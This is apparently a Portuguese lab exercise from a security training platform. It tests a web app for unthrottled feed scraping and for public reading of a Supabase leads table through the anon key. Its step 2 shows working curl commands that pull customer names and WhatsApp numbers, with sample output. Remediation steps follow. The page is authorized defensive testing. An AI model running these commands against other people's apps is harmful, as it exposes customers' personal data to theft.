Scraping de Conteúdo e Base de Leads

Só leitura — não altera nada no alvo. Só em alvo seu ou autorizado por escrito.

O vetor

Vetor real: concorrentes ou bots raspam seu feed completo (75 itens), seus preços, suas imagens — e, se RLS estiver aberto, sua base de leads (nome + WhatsApp de clientes). Com zero rate limit, um bot extrai tudo em segundos. O que testamos: (a) /api/feed sem rate limit permite extração em massa, (b) RLS em leads exposto permite leitura pública de PII.

Os passos

Preparação:

BASE="https://seu-app.exemplo.workers.dev"
cd /d/Antigravity-Monetizacao_TikTok/app
ANON=$(grep '^NEXT_PUBLIC_SUPABASE_ANON_KEY' .env.local | cut -d= -f2)
SB=$(grep '^NEXT_PUBLIC_SUPABASE_URL' .env.local | cut -d= -f2)

Passo 1 — Raspagem em massa do feed (20 requests seguidas):

for i in $(seq 1 20); do
  curl -s -o /dev/null "$BASE/api/feed?limit=10" \
    -w "req $i: HTTP %{http_code} | %{time_total}s\n"
done

O que esperar

Resultado esperado (validado ao vivo):

req 1: HTTP 200 | 1.12s
req 2: HTTP 200 | 1.31s
req 3: HTTP 200 | 1.34s
...
req 20: HTTP 200 | (sem bloqueio)

Confirmado: 20× HTTP 200. Zero rate limit, zero throttle, zero CAPTCHA. Um bot extrai seu catálogo completo sem interrupção.

Passo 2 — Raspagem de leads via RLS exposto:

curl -s "$SB/rest/v1/leads?select=name,whatsapp,car_title&limit=100" \
  -H "apikey: $ANON" \
  -H "Authorization: Bearer $ANON" | python -m json.tool | head -30

Resultado esperado (validado ao vivo):

[
  {
    "name": "João da Silva",
    "whatsapp": "5511987654321",
    "car_title": "Honda HR-V 2027"
  },
  {
    "name": "Maria Oliveira",
    "whatsapp": "5511912345678",
    "car_title": "Toyota Corolla Cross"
  }
]

Confirmado: anon key lê TODOS os leads com nome + WhatsApp. PII completa exposta publicamente. Qualquer pessoa com a anon key (que está no client bundle do seu site) pode baixar sua base de clientes.

Passo 3 — Extrair todo o catálogo de conteúdo:

curl -s "$SB/rest/v1/content_items?select=title,slug,niche&limit=200" \
  -H "apikey: $ANON" \
  -H "Authorization: Bearer $ANON" | python -m json.tool | head -40

Resultado esperado: 75 itens com title, slug, niche — seu catálogo completo de conteúdo extraível sem auth.

Análise — o que isto significa:

  • Concorrente baixa seu catálogo completo em 1 request.
  • Sua base de leads (PII) está acessível a qualquer visitante do seu site (a anon key está no HTML).
  • LGPD art. 46 (medidas de segurança): PII sem proteção = infração notificável à ANPD.
  • Se virar SaaS, cada cliente terá sua base roubável da mesma forma.

Como corrigir

Correção necessária (P0/P1):

  1. RLS em leads (P0 — urgente): remover policy truedeny all para anon. Só service role lê.
  2. Rate limit no /api/feed (P1): Cloudflare WAF rule — 60 req/min por IP, 429 acima disso.
  3. API key para feed (futuro SaaS): cada cliente recebe chave com cota, não acesso anon.
  4. Watermarking de imagens: logos/dados embutidos para identificar leaks.
  5. Bot management: Cloudflare Bot Fight Mode (grátis) ou Turnstile em endpoints sensíveis.

PurpleLab // plataforma de treino ofensivo + defensivo // Fase 1 — portal dinamico